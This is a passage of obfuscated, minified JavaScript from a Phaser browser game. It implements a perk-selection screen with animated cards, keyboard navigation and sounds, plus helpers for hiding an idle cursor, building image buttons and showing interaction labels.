_0x322542['setDisplaySize'](this['backgroundImage']['width'], this['backgroundImage']['width']), _0x322542['setAngle'](0x78 * _0x3b8389), _0x322542['blendMode'] = Phaser['BlendModes']['ADD'], this['godrayImages']['push'](_0x322542); } } ['createStatElements'](_0x344b8a) { this['config']['perk']['statistics']['forEach'](_0x8a6cea => { const _0x285c8b = new _0x2a8ecf['PerkCardStatElement']({ 'scene': this['scene'], 'gameContext': this['gameContext'], 'gameMessageBus': this['gameMessageBus'], 'messageBus': this['messageBus'], 'store': this['store'], 'width': _0x344b8a, ..._0x8a6cea }); this['statElements']['push'](_0x285c8b['element']); }); } ['setupInteractivity']() { this['element']['setInteractive']()['on']('pointerover', () => { 'WAITING_FOR_PICK' === this['store']['get']('choiceState') && this['store']['update']('selectedPerkId', this['config']['perk']['id']); })['on']('pointerout', () => { if ('WAITING_FOR_PICK' !== this['store']['get']('choiceState')) return; this['store']['get']('selectedPerkId') === this['config']['perk']['id'] && this['store']['update']('selectedPerkId', null); })['on']('pointerdown', () => { this['store']['get']('pickedPerkId') || 'WAITING_FOR_PICK' === this['store']['get']('choiceState') && (this['store']['update']('pickedPerkId', this['config']['perk']['id']), this['store']['update']('choiceState', 'PICKED')); }), this['store']['subscribe']('selectedPerkId', ({ oldValue: _0x95120d, newValue: _0x24b8c2 }) => { _0x24b8c2 === this['config']['perk']['id'] ? this['select']() : _0x95120d === this['config']['perk']['id'] && this['deselect'](); }), this['store']['subscribe']('pickedPerkId', ({ oldValue: _0x3521bc, newValue: _0x537b65 }) => { _0x537b65 === this['config']['perk']['id'] ? this['onPick']() : this['fadeOut'](); }); } ['select']() { const _0x4f4d13 = this['scene']['tweens']['add']({ 'targets': this['element'], 'scaleX': 1.03, 'scaleY': 1.03, 'duration': 0xc8, 'ease': 'Quad.Out', 'onUpdate': _0x47dc32 => { const _0x207023 = 0x4 * (_0x47dc32['getValue']() - 0x1); this['iconMatrix']['contrast'](_0x207023), this['backgroundMatrix']['contrast'](_0x207023); const _0x2d3104 = this['backgroundImage']['width'], _0x98a6f = 0x1 - 0x40 / _0x2d3104; this['mainTitle']['setMaxWidth'](_0x2d3104 * _0x98a6f * _0x47dc32['getValue']()), this['description']['setMaxWidth'](_0x2d3104 * _0x98a6f * _0x47dc32['getValue']()); }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x4f4d13); } }); this['godrayContainer']['setVisible'](!0x0); const _0x22ec64 = this['scene']['tweens']['add']({ 'targets': this['godrayContainer'], 'alpha': 0x1, 'duration': 0xc8, 'ease': 'Quad.Out', 'onComplete': () => { this['scene']['tweens']['remove'](_0x22ec64); } }); } ['deselect']() { const _0x4fb0f9 = this['scene']['tweens']['add']({ 'targets': this['element'], 'scaleX': 0x1, 'scaleY': 0x1, 'duration': 0xc8, 'ease': 'Quad.Out', 'onUpdate': _0x15a66a => { const _0x4a80a3 = 0x4 * (_0x15a66a['getValue']() - 0x1); this['iconMatrix']['contrast'](_0x4a80a3), this['backgroundMatrix']['contrast'](_0x4a80a3); const _0x22fff6 = this['backgroundImage']['width'], _0x4bf296 = 0x1 - 0x40 / _0x22fff6; this['mainTitle']['setMaxWidth'](_0x22fff6 * _0x4bf296 * _0x15a66a['getValue']()), this['description']['setMaxWidth'](_0x22fff6 * _0x4bf296 * _0x15a66a['getValue']()); }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x4fb0f9); } }), _0x47064a = this['scene']['tweens']['add']({ 'targets': this['godrayContainer'], 'alpha': 0x0, 'duration': 0xc8, 'ease': 'Quad.Out', 'onComplete': () => { this['scene']['tweens']['remove'](_0x47064a); } }); } ['onPick']() { const _0x6c0664 = this['scene']['tweens']['add']({ 'targets': this['element'], 'scaleX': 1.1, 'scaleY': 1.1, 'duration': 0x190, 'ease': 'Quad.Out', 'onUpdate': _0x1d24fa => { const _0x21559b = 0x4 * (_0x1d24fa['getValue']() - 0x1); this['iconMatrix']['contrast'](_0x21559b), this['backgroundMatrix']['contrast'](_0x21559b); const _0x1351c = this['backgroundImage']['width'], _0x3cd70e = 0x1 - 0x40 / _0x1351c; this['mainTitle']['setMaxWidth'](_0x1351c * _0x3cd70e * _0x1d24fa['getValue']()), this['description']['setMaxWidth'](_0x1351c * _0x3cd70e * _0x1d24fa['getValue']()); }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x6c0664); } }), _0x1a79bb = this['scene']['tweens']['add']({ 'targets': this['godrayContainer'], 'alpha': 0x1, 'duration': 0x190, 'ease': 'Quad.Out', 'onComplete': () => { this['scene']['tweens']['remove'](_0x1a79bb); } }), _0x4bc327 = { 'x': this['scene']['cameras']['main']['width'] / 0x2, 'y': this['scene']['cameras']['main']['height'] / 0x2 + 0x19 }, _0x565b9f = this['scene']['tweens']['add']({ 'targets': this['element'], 'x': _0x4bc327['x'], 'y': _0x4bc327['y'], 'duration': 0x190, 'ease': 'Quad.InOut', 'onComplete': () => { this['scene']['tweens']['remove'](_0x565b9f); } }); } ['brightenTint'](_0x1d0542, _0x3fc0b7 = 0xa) { const _0x5a5c3a = _0x1d0542 >> 0x10 & 0xff, _0x685602 = _0x1d0542 >> 0x8 & 0xff, _0x553887 = 0xff & _0x1d0542, { h: _0x36a67e, s: _0x5650b5, v: _0x344152 } = Phaser['Display']['Color']['RGBToHSV'](_0x5a5c3a, _0x685602, _0x553887), _0x1f0583 = Math['min'](_0x344152 * _0x3fc0b7, 0x1), { r: _0x278b20, g: _0x1511c3, b: _0x162d47 } = Phaser['Display']['Color']['HSVToRGB'](_0x36a67e, _0x5650b5, _0x1f0583); return _0x278b20 << 0x10 | _0x1511c3 << 0x8 | _0x162d47; } } _0x5f162c['PerkCardElement'] = _0x563d97; }, 0x499: (_0x4e7880, _0x12e0b7, _0x37f6d5) => { 'use strict'; Object['defineProperty'](_0x12e0b7, '__esModule', { 'value': !0x0 }), _0x12e0b7['PerkCardStatElement'] = void 0x0; const _0x4dacce = _0x37f6d5(0x12be), _0x4460e7 = _0x37f6d5(0x1724), _0x43e07f = _0x37f6d5(0x138a), _0x377dc0 = 'ui_perks/perk_stat_bg_1col'; class _0x243998 extends _0x4460e7['UiElement']{ ['backgroundImage'];['iconImage'];['statNameText'];['statValueText']; constructor(_0x2dbd8a) { super(_0x2dbd8a), this['createElement'](); } ['destroy']() { this['backgroundImage']?.['destroy'](), this['iconImage']?.['destroy'](), this['statNameText']?.['destroy'](), this['statValueText']?.['destroy'](); } ['createElement']() { this['backgroundImage'] = this['scene']['add']['image'](0x0, 0x0, (0x0, _0x43e07f['getTexture'])(this['gameContext'], _0x377dc0), (0x0, _0x43e07f['getFrame'])(this['gameContext'], _0x377dc0)), this['iconImage'] = this['scene']['add']['image'](0x0, 0x0, (0x0, _0x43e07f['getTexture'])(this['gameContext'], this['config']['iconPath']), (0x0, _0x43e07f['getFrame'])(this['gameContext'], this['config']['iconPath'])), this['iconImage']['setDisplaySize'](0x10, 0x10), this['statNameText'] = this['scene']['add']['bitmapText'](0x0, 0x0, _0x4dacce['PERK_DESCRIPTION_FONT'], this['config']['name'], 0x18), this['statNameText']['setTint'](_0x4dacce['PERK_TEXT_COLOR']), this['statValueText'] = this['scene']['add']['bitmapText'](0x0, 0x0, _0x4dacce['PERK_DESCRIPTION_FONT'], this['config']['value'] || '', 0x18), this['statValueText']['setTint'](_0x4dacce['PERK_SECONDARY_TEXT_COLOR']), this['element'] = this['scene']['rexUI']['add']['sizer']({ 'width': this['config']['width'], 'height': this['backgroundImage']['height'], 'orientation': 'x', 'space': { 'top': 0x4, 'bottom': 0x4, 'left': 0x7, 'right': 0xa, 'item': 0xa } })['addBackground'](this['backgroundImage'])['add'](this['iconImage'], { 'align': 'left', 'proportion': 0x0 })['add'](this['statNameText'], { 'align': 'left', 'proportion': 0x1, 'expand': !0x1 })['add'](this['statValueText'], { 'align': 'right', 'proportion': 0x0 })['layout'](); } } _0x12e0b7['PerkCardStatElement'] = _0x243998; }, 0x1ef9: (_0x7209b2, _0x40f3a6) => { 'use strict'; Object['defineProperty'](_0x40f3a6, '__esModule', { 'value': !0x0 }), _0x40f3a6['getHighestLevelPerks'] = _0x40f3a6['PERK_CHOICE_TYPE'] = void 0x0, _0x40f3a6['PERK_CHOICE_TYPE'] = 'perkChoice', _0x40f3a6['getHighestLevelPerks'] = function (_0x53dfb2) { const _0x22432b = new Set(); return _0x53dfb2['forEach'](_0x26c8b9 => { _0x26c8b9['prerequisites'] && _0x26c8b9['prerequisites']['forEach'](_0x596663 => { _0x22432b['add'](_0x596663); }); }), _0x53dfb2['filter'](_0x51bc6b => !_0x22432b['has'](_0x51bc6b['id'])); }; }, 0x211b: (_0x219760, _0x59aab8, _0x584c30) => { 'use strict'; Object['defineProperty'](_0x59aab8, '__esModule', { 'value': !0x0 }), _0x59aab8['PerkSelectionScreenElement'] = void 0x0; const _0x1347cc = _0x584c30(0x1724), _0x483ccf = _0x584c30(0xf18), _0x3d978d = _0x584c30(0x12be); class _0x3554d0 extends _0x1347cc['UiElement']{ ['characterSprite'];['perksGrid'];['perkCards'] = [];['selectedPerkId'] = null;['perkScreenTitle'];['perkScreenSubtitle'];['backgroundRunesImage']; constructor(_0x10333e) { super(_0x10333e), this['createBackgroundRunesImage'](), this['createElement'](), this['transitionIn'](), this['store']['subscribe']('choiceState', ({ oldValue: _0x1a9dd1, newValue: _0x4c7c54 }) => this['onChoiceStateChange'](_0x1a9dd1, _0x4c7c54)); } ['destroy']() { this['backgroundRunesImage']?.['destroy'](), this['perkCards']['forEach'](_0x1562ae => _0x1562ae['destroy']()), this['characterSprite']?.['sprite']['destroy'](), this['perksGrid']?.['destroy'](), this['element']?.['destroy'](); } ['setVisible'](_0x4f874d) { this['element']['setVisible'](_0x4f874d); } ['setAlpha'](_0x235124) { this['element']['setAlpha'](_0x235124); } ['update'](_0x6c130) { this['perkCards']['forEach'](_0x2266cb => _0x2266cb['update'](_0x6c130)); } ['createElement']() { const { width: _0x3a6a8a, height: _0x58aeae } = this['scene']['scale'], _0x3bad05 = 0x14 * _0x58aeae / 0x64; this['createPerksGrid'](), this['createPerkScreenTitle'](), this['createPerkScreenSubtitle'](), this['element'] = this['scene']['rexUI']['add']['overlapSizer']({ 'x': 0x0, 'y': 0x0, 'width': _0x3a6a8a, 'height': _0x58aeae })['add'](this['perkScreenTitle'], { 'align': 'center-top', 'padding': { 'top': _0x3bad05 / 0x3 }, 'expand': !0x1 })['add'](this['perkScreenSubtitle'], { 'align': 'center-top', 'expand': !0x1, 'padding': { 'top': _0x3bad05 / 0x3 + 0x64 } })['add'](this['perksGrid'], { 'align': 'center', 'expand': !0x1, 'padding': { 'top': _0x3bad05, 'bottom': _0x3bad05 } })['setOrigin'](0x0)['layout']()['setDepth'](_0x483ccf['LAYER_DEPTHS']['UI_MAIN']); } ['createPerksGrid']() { const _0x4630c0 = this['config']['perks']['slice'](0x0, 0x3); this['perksGrid'] = this['scene']['rexUI']['add']['gridSizer']({ 'column': 0x3, 'row': 0x1, 'space': { 'column': -0xa } }), _0x4630c0['forEach']((_0x3dd156, _0x19315d) => { const _0x4f0682 = new _0x3d978d['PerkCardElement']({ ...this['config'], 'scene': this['scene'], 'gameContext': this['gameContext'], 'gameMessageBus': this['gameMessageBus'], 'messageBus': this['messageBus'], 'perk': _0x3dd156, 'selected': _0x3dd156['id'] === this['selectedPerkId'] }); this['perkCards']['push'](_0x4f0682), this['perksGrid']['add'](_0x4f0682['get'](), { 'expand': !0x1, 'column': _0x19315d, 'row': 0x0, 'align': 'center' }); }); } ['createBackgroundRunesImage']() { const { width: _0x559c56, height: _0xc38757 } = this['scene']['scale']; this['backgroundRunesImage'] = this['scene']['add']['image'](0x0, 0x0, 'image/runes'), this['backgroundRunesImage']['setDisplaySize'](_0x559c56, _0xc38757), this['backgroundRunesImage']['setOrigin'](0x0), this['backgroundRunesImage']['setDepth'](_0x483ccf['LAYER_DEPTHS']['UI_MAIN']), this['backgroundRunesImage']['setAlpha'](0x0), this['backgroundRunesImage']['postFX']['addShine'](); } ['createPerkScreenTitle']() { this['perkScreenTitle'] = this['scene']['add']['bitmapText'](0x0, 0x0, 'antonio-bold-shadow', 'Choose\x20a\x20Power', 0x78)['setAlpha'](0x0); } ['createPerkScreenSubtitle']() { this['perkScreenSubtitle'] = this['scene']['add']['bitmapText'](0x0, 0x0, 'antonio-bold-shadow', 'Powers\x20give\x20you\x20unique\x20abilities', 0x28)['setAlpha'](0x0); } async['transitionIn']() { this['gameMessageBus']['publish']('requestVignette', { 'appearanceDurationMS': this['config']['appearanceDelayMS'], 'targetValue': 1.3, 'easeFn': 'Quad.InOut' }), this['gameMessageBus']['publish']('hideUi'), this['gameContext']['updateGameStore']('photoModeEnabled', !0x0, { 'forceUpdate': !0x0 }); const _0x1424c9 = this['scene']['tweens']['addCounter']({ 'from': 0x0, 'to': 0x1, 'duration': this['config']['appearanceDelayMS'], 'ease': 'Quart.InOut', 'onUpdate': _0x376aa4 => { const _0x538e1b = _0x376aa4['getValue'](); this['backgroundRunesImage']['setAlpha'](0.5 * _0x538e1b), this['perkScreenTitle']['setAlpha'](0x2 * _0x538e1b - 0x1), this['perkScreenSubtitle']['setAlpha'](0x2 * _0x538e1b - 0x1); }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x1424c9); } }), _0x5ede85 = this['perkCards']['map']((_0x413da1, _0x17fb08) => this['gameContext']['timeProvider']['delayPromise'](this['config']['appearanceDelayMS'] + 0x50 * _0x17fb08)['then'](() => { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'uiPerkTile', 'parameters': [{ 'name': 'UI\x20Tile', 'value': _0x17fb08 + 0x1 }] } }), _0x413da1['reveal'](); })); await Promise['all'](_0x5ede85), this['store']['update']('choiceState', 'WAITING_FOR_PICK'); } ['transitionOut']() { const _0x629a30 = this['scene']['tweens']['add']({ 'targets': [this['perkScreenTitle'], this['perkScreenSubtitle']], 'alpha': 0x0, 'duration': 0xc8, 'ease': 'Quad.In', 'onComplete': () => { this['scene']['tweens']['remove'](_0x629a30); } }); } ['onChoiceStateChange'](_0x526e95, _0x39b252) { 'WAITING_FOR_PICK' === _0x526e95 && 'PICKED' === _0x39b252 && this['transitionOut'](); } } _0x59aab8['PerkSelectionScreenElement'] = _0x3554d0; }, 0x1d70: (_0x46b7df, _0x4f2356, _0x46f504) => { 'use strict'; Object['defineProperty'](_0x4f2356, '__esModule', { 'value': !0x0 }), _0x4f2356['UiPerkSelectionComponent'] = void 0x0; const _0x2a1924 = _0x46f504(0xf18), _0x507ccb = _0x46f504(0x1709), _0x2fe2b8 = _0x46f504(0x211b), _0x57dc04 = _0x46f504(0x1ef9); class _0x206dcb extends _0x507ccb['SceneComponent']{ constructor(_0x5912e8) { super(_0x5912e8); } ['perkSelectionElement'];['onCreate']() { this['gameMessageBus']['subscribe'](this, 'roomExited', () => this['showPerkSelectionScreen']()), this['gameMessageBus']['subscribe'](this, 'actionStateChange', _0x547526 => this['onUserAction'](_0x547526)), this['store']['subscribe']('pickedPerkId', () => this['savePerkSelectedOption']()), this['store']['subscribe']('selectedPerkId', ({ oldValue: _0x1d23c7, newValue: _0x54e797 }) => this['onSelectedPerkChange'](_0x1d23c7, _0x54e797)); } ['destroy']() { this['perkSelectionElement']?.['destroy'](); } ['updateFeatures'](_0x555e46) { this['perkSelectionElement']?.['update'](_0x555e46); } ['createPerkSelectionElement']() { const _0x161112 = [...this['gameContext']['getFromGameStore']('runState')['pendingChoices']]['find'](_0x5ed283 => _0x5ed283['type'] === _0x57dc04['PERK_CHOICE_TYPE'] && !_0x5ed283['selectedOptionId']); this['perkSelectionElement'] = new _0x2fe2b8['PerkSelectionScreenElement']({ 'scene': this['scene'], 'gameContext': this['gameContext'], 'gameMessageBus': this['gameMessageBus'], 'messageBus': this['messageBus'], 'store': this['store'], 'characterImagePath': 'dialogue_character/ella', 'perks': _0x161112['options'], 'appearanceDelayMS': 0x5dc }), this['perkSelectionElement']['setVisible'](!0x0), this['perkSelectionElement']['element']['setDepth'](_0x2a1924['LAYER_DEPTHS']['UI_MAIN']), this['gameMessageBus']['publish']('requestStopSoundsByGroupName', { 'groupName': 'backgroundMusic', 'allowFadeOut': !0x0 }), this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'musicResults' } }), this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'uiPerkScreenAppears' } }); } async['savePerkSelectedOption']() { if (!this['store']['get']('pickedPerkId')) return; const _0x225f84 = this['gameContext']['getFromGameStore']('runState'), _0x5ec783 = [..._0x225f84['pendingChoices']], _0x172c46 = _0x5ec783['find'](_0x5df403 => _0x5df403['type'] === _0x57dc04['PERK_CHOICE_TYPE'] && !_0x5df403['selectedOptionId']); if (!_0x172c46) return; const _0xdb7110 = _0x172c46['options']['find'](_0x570e1b => _0x570e1b['id'] === this['store']['get']('pickedPerkId')); _0xdb7110 && (_0x172c46['selectedOptionId'] = _0xdb7110['id'], _0x225f84['pendingChoices'] = _0x5ec783, this['gameContext']['updateGameStore']('runState', _0x225f84), this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'uiPerkSelect' } }), await this['gameContext']['timeProvider']['delayPromise'](0x7d0), this['gameMessageBus']['publish']('choiceSelected')); } ['showPerkSelectionScreen']() { [...this['gameContext']['getFromGameStore']('runState')['pendingChoices']]['find'](_0x47465f => 'perkChoice' === _0x47465f['type'] && !_0x47465f['selectedOptionId']) && (this['perkSelectionElement'] || this['createPerkSelectionElement'](), this['store']['update']('choiceState', 'APPEARING')); } ['onUserAction'](_0x5204a8) { if (_0x5204a8['state']) switch (_0x5204a8['action']) { case 'attack': case 'secondaryAttack1': case 'secondaryAttack2': case 'secondaryAttack3': case 'interaction': this['onUserActionInteraction'](); break; case 'left': this['onUserActionLeft'](); break; case 'right': this['onUserActionRight'](); } } ['getPerkChoice']() { const _0x59d201 = [...this['gameContext']['getFromGameStore']('runState')['pendingChoices']]['find'](_0x1a22f0 => _0x1a22f0['type'] === _0x57dc04['PERK_CHOICE_TYPE'] && !_0x1a22f0['selectedOptionId']); return _0x59d201 || null; } ['onUserActionInteraction']() { if (this['store']['get']('pickedPerkId')) return; if (!this['store']['get']('selectedPerkId')) return; if ('WAITING_FOR_PICK' !== this['store']['get']('choiceState')) return; const _0xf703de = this['getPerkChoice']()?.['options']['find'](_0x4fe978 => _0x4fe978['id'] === this['store']['get']('selectedPerkId')); _0xf703de && (this['store']['update']('pickedPerkId', _0xf703de['id']), this['store']['update']('choiceState', 'PICKED')); } ['onUserActionLeft']() { if ('WAITING_FOR_PICK' !== this['store']['get']('choiceState')) return; const _0x18c6f9 = this['getPerkChoice']()?.['options']; if (!_0x18c6f9) return; if (!this['store']['get']('selectedPerkId')) return void this['store']['update']('selectedPerkId', _0x18c6f9[0x1]['id']); const _0x148756 = _0x18c6f9['find'](_0x5561f0 => _0x5561f0['id'] === this['store']['get']('selectedPerkId')); if (!_0x148756) return; const _0x464ece = _0x18c6f9['findIndex'](_0x60d52e => _0x60d52e['id'] === _0x148756['id']), _0x3af877 = 0x0 === _0x464ece ? _0x18c6f9['length'] - 0x1 : _0x464ece - 0x1; this['store']['update']('selectedPerkId', _0x18c6f9[_0x3af877]['id']); } ['onUserActionRight']() { if ('WAITING_FOR_PICK' !== this['store']['get']('choiceState')) return; const _0x24fe7e = this['getPerkChoice']()?.['options']; if (!_0x24fe7e) return; if (!this['store']['get']('selectedPerkId')) return void this['store']['update']('selectedPerkId', _0x24fe7e[0x1]['id']); const _0x1f7905 = _0x24fe7e['find'](_0x2ec821 => _0x2ec821['id'] === this['store']['get']('selectedPerkId')); if (!_0x1f7905) return; const _0x150aa7 = _0x24fe7e['findIndex'](_0x3adf01 => _0x3adf01['id'] === _0x1f7905['id']), _0x5d79e1 = _0x150aa7 === _0x24fe7e['length'] - 0x1 ? 0x0 : _0x150aa7 + 0x1; this['store']['update']('selectedPerkId', _0x24fe7e[_0x5d79e1]['id']); } ['onSelectedPerkChange'](_0x1b492f, _0x4629f5) { _0x4629f5 && this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'uiPerkHover' } }); } } _0x4f2356['UiPerkSelectionComponent'] = _0x206dcb; }, 0x10b9: (_0xf0b574, _0x2bb745, _0x5ddfff) => { 'use strict'; Object['defineProperty'](_0x2bb745, '__esModule', { 'value': !0x0 }), _0x2bb745['UiCursorVisibilityComponent'] = void 0x0; const _0x2e65b5 = _0x5ddfff(0x1709), _0x28cbfd = 0x7d0, _0x3cc7c5 = 0x3e8, _0x1b6b37 = 0x64; class _0x242479 extends _0x2e65b5['SceneComponent']{ ['cursorCheckCallback'];['boundHandleMouseMove'];['pendingMouseEvent'] = null;['lastMoveTime'] = 0x0;['lastX'] = 0x0;['lastY'] = 0x0;['isCursorHidden'] = !0x1; constructor(_0x5d43ec = {}) { super({ ..._0x5d43ec, 'isRenderComponent': !0x0 }); } ['init']() { this['lastMoveTime'] = this['gameContext']['timeProvider']['currentRenderTime'], this['boundHandleMouseMove'] = this['handleMouseMove']['bind'](this); } ['onCreate']() { this['setupEventListeners'](), this['startCursorCheck'](); } ['destroy']() { window['removeEventListener']('mousemove', this['boundHandleMouseMove'], { 'capture': !0x0 }), this['cursorCheckCallback'] && this['gameContext']['timeProvider']['cancelDelayedAction'](this['cursorCheckCallback']), this['resetCursorState'](); } ['updateFeatures']() { this['pendingMouseEvent'] && (this['hasMovedSignificantly'](this['pendingMouseEvent']) && (this['setCursorState']('default'), this['lastMoveTime'] = this['gameContext']['timeProvider']['currentRenderTime']), this['updatePosition'](this['pendingMouseEvent']), this['pendingMouseEvent'] = null); } ['setupEventListeners']() { window['addEventListener']('mousemove', this['boundHandleMouseMove'], { 'passive': !0x0, 'capture': !0x0 }); } ['handleMouseMove'](_0x102878) { this['pendingMouseEvent'] = _0x102878; } ['hasMovedSignificantly'](_0x3128d5) { const _0x192719 = _0x3128d5['clientX'] - this['lastX'], _0x4094fb = _0x3128d5['clientY'] - this['lastY']; return _0x192719 * _0x192719 + _0x4094fb * _0x4094fb > (this['config']['movementThreshold'] ?? _0x1b6b37); } ['updatePosition'](_0x5a0c3b) { this['lastX'] = _0x5a0c3b['clientX'], this['lastY'] = _0x5a0c3b['clientY']; } ['startCursorCheck']() { const _0x932f09 = this['config']['checkIntervalMS'] ?? _0x3cc7c5; this['cursorCheckCallback'] = this['gameContext']['timeProvider']['delayAction'](this['checkCursorVisibility']['bind'](this), _0x932f09); } ['checkCursorVisibility']() { const _0x15ba49 = this['gameContext']['timeProvider']['currentRenderTime'], _0x36b542 = this['config']['hideDelayMS'] ?? _0x28cbfd; _0x15ba49 - this['lastMoveTime'] >= _0x36b542 && this['setCursorState']('none'); const _0x3a4d74 = this['config']['checkIntervalMS'] ?? _0x3cc7c5; this['cursorCheckCallback'] = this['gameContext']['timeProvider']['delayAction'](this['checkCursorVisibility']['bind'](this), _0x3a4d74); } ['setCursorState'](_0x1e18bb) { 'none' !== _0x1e18bb || this['isCursorHidden'] ? 'default' === _0x1e18bb && this['isCursorHidden'] && (document['documentElement']['style']['cursor'] = 'default', this['isCursorHidden'] = !0x1) : (document['documentElement']['style']['cursor'] = 'none', this['isCursorHidden'] = !0x0); } ['resetCursorState']() { this['isCursorHidden'] && this['setCursorState']('default'); } } _0x2bb745['UiCursorVisibilityComponent'] = _0x242479; }, 0x1724: (_0xbe01b8, _0x4f9a15) => { 'use strict'; Object['defineProperty'](_0x4f9a15, '__esModule', { 'value': !0x0 }), _0x4f9a15['UiElement'] = void 0x0, _0x4f9a15['UiElement'] = class { ['config'];['gameContext'];['messageBus'];['gameMessageBus'];['store'];['scene']; constructor(_0x3b39fc) { this['config'] = _0x3b39fc, this['gameContext'] = _0x3b39fc['gameContext'], this['messageBus'] = _0x3b39fc['messageBus'], this['gameMessageBus'] = _0x3b39fc['gameMessageBus'], this['store'] = _0x3b39fc['store'], this['scene'] = _0x3b39fc['scene']; } ['get']() { return this['element']; } ['update'](_0xe429f4) { } ['setVisible'](_0x1d431a) { } ['setAlpha'](_0x1d39fe) { } }; }, 0x70: (_0xe0ed0c, _0x39f8fb) => { 'use strict'; function _0x43b4b0(_0x3392ee, _0xdf0292) { const _0x1e0d72 = _0x3392ee['getAnimationConfig'](_0xdf0292), _0x1acaf3 = _0x1e0d72['animationConfig']['key'] ? void 0x0 : _0x1e0d72['animationConfig']['staticFrame']; if (!_0x1acaf3) throw new Error('Frame\x20not\x20found\x20for\x20animation\x20config\x20path:\x20' + _0xdf0292); return _0x1acaf3; } Object['defineProperty'](_0x39f8fb, '__esModule', { 'value': !0x0 }), _0x39f8fb['createImageButton'] = void 0x0, _0x39f8fb['createImageButton'] = function (_0x425993, _0xb3054b, _0x3ebc0c) { const _0x13e18b = function (_0x3a1ded, _0x4c5be8) { const _0xf89096 = _0x3a1ded['getAnimationConfig'](_0x4c5be8); if (!_0xf89096) throw new Error('Animation\x20config\x20not\x20found\x20for\x20path:\x20' + _0x4c5be8); return _0xf89096; }(_0xb3054b, _0x3ebc0c['idleStatePath']), _0x277266 = _0x43b4b0(_0xb3054b, _0x3ebc0c['idleStatePath']), _0x30e431 = _0x43b4b0(_0xb3054b, _0x3ebc0c['hoverStatePath'] ?? _0x3ebc0c['idleStatePath']), _0x57b347 = _0x43b4b0(_0xb3054b, _0x3ebc0c['clickedStatePath'] ?? _0x3ebc0c['idleStatePath']), _0xb41d1e = _0x425993['add']['image'](0x0, 0x0, _0x13e18b['textureName'], _0x277266), _0x5cfe2d = _0x425993['add']['container'](0x0, 0x0), _0x212683 = _0x425993['add']['dynamicBitmapText'](0x0, 0x0, _0x3ebc0c['font'], _0x3ebc0c['text'], _0x3ebc0c['fontSize']); _0x212683['setTint'](_0x3ebc0c['fontTint'] ?? 0xffffff); let _0x5adaba = _0x212683['width']; const _0x1eba15 = function (_0x10cadf, _0x5ba5da) { if (!_0x5ba5da['iconText']) return; const _0x274dec = _0x10cadf['add']['dynamicBitmapText'](0x0, 0x0, _0x5ba5da['font'], _0x5ba5da['iconText'], _0x5ba5da['fontSize']); return _0x274dec['setTint'](_0x5ba5da['iconTint'] ?? 0xffffff), { 'icon': _0x274dec, 'width': _0x274dec['width'] }; }(_0x425993, _0x3ebc0c); if (_0x1eba15 && (_0x5cfe2d['add'](_0x1eba15['icon']), _0x5adaba += _0x1eba15['width'] + 0x5), _0x5cfe2d['add'](_0x212683), _0x1eba15) { const _0x1463b0 = _0x5adaba / 0x2; _0x1eba15['icon']['x'] = -_0x1463b0, _0x212683['x'] = -_0x1463b0 + _0x1eba15['width'] + 0x5; const _0x5ce3fe = Math['max'](_0x1eba15['icon']['height'], _0x212683['height']); _0x1eba15['icon']['y'] = -_0x5ce3fe / 0x2, _0x212683['y'] = -_0x5ce3fe / 0x2; } else _0x212683['x'] = -_0x212683['width'] / 0x2, _0x212683['y'] = -_0x212683['height'] / 0x2; let _0xa4a731 = !0x1; const _0x18b76c = _0x425993['rexUI']['add']['label']({ 'width': _0xb41d1e['width'], 'height': _0xb41d1e['height'], 'background': _0xb41d1e, 'name': _0x3ebc0c['name'], 'text': _0x5cfe2d, 'space': { 'left': 0xa, 'right': 0xa, 'top': 0xa, 'bottom': 0xa }, 'align': 'center' })['setInteractive'](); return _0x18b76c['on']('pointerover', () => { _0x425993['input']['setDefaultCursor']('pointer'), _0xa4a731 = !0x0, _0x30e431 && _0xb41d1e['setFrame'](_0x30e431); }), _0x18b76c['on']('pointerout', () => { _0x425993['input']['setDefaultCursor']('default'), _0xa4a731 = !0x1, _0x30e431 && _0xb41d1e['setFrame'](_0x277266); }), _0x18b76c['on']('pointerdown', () => { _0x57b347 && _0xb41d1e['setFrame'](_0x57b347); }), _0x18b76c['on']('pointerup', () => { _0x3ebc0c['action'](), _0xb41d1e['setFrame'](_0xa4a731 ? _0x30e431 : _0x277266); }), _0x18b76c['layout'](), _0x18b76c; }; }, 0x2176: (_0x36d25c, _0x256b94, _0x59dae2) => { 'use strict'; Object['defineProperty'](_0x256b94, '__esModule', { 'value': !0x0 }), _0x256b94['UiInteractionComponent'] = void 0x0; const _0x1b2f3c = _0x59dae2(0xf18), _0x17d71e = _0x59dae2(0x1709), _0x4fce7e = _0x59dae2(0x5d3), _0x1e89d2 = _0x59dae2(0x13a9); class _0x3c49bc extends _0x17d71e['SceneComponent']{ ['interactions'] = {};['settingsSubscription'] = ({ oldValue: _0x1fa092, newValue: _0x5845a7 }) => this['onSettingsUpdate'](_0x1fa092, _0x5845a7);['onCreate']() { this['messageBus']['subscribe'](this, 'enteredInteractionRange', _0x490d5c => this['onEnteredInteractionRange'](_0x490d5c)), this['messageBus']['subscribe'](this, 'exitedInteractionRange', _0x330197 => this['onExitedInteractionRange'](_0x330197)), this['messageBus']['subscribe'](this, 'destroyInteraction', _0x2aad13 => this['onDestroyInteraction'](_0x2aad13['config'])), this['messageBus']['subscribe'](this, 'destroyInteractionByExternalSource', _0x227760 => this['onDestroyInteractionByExternalSource'](_0x227760['config'])), this['gameMessageBus']['subscribe'](this, 'actionStateUpdate', _0x54eda4 => this['maybeActivateInteractions'](_0x54eda4)), this['gameContext']['subscribeToGameStore']('settings', this['settingsSubscription']); } ['destroy']() { Object['values'](this['interactions'])['forEach'](_0x2bf863 => { _0x2bf863['label']?.['destroy'](); }), this['gameContext']['unsubscribeFromGameStore']('settings', this['settingsSubscription']), this['interactions'] = {}; } ['updatePhysics']() { Object['values'](this['interactions'])['filter'](_0x136829 => _0x136829['label']?.['visible'])['forEach'](_0x234e66 => { const _0x42b1db = _0x234e66['interaction']['interactableActor']['getFromStore']('renderPosition'); _0x234e66['label']?.['setPosition'](_0x42b1db['x'] + (_0x234e66['interaction']['interactionRenderOffset']?.['x'] ?? 0x0), _0x42b1db['y'] + 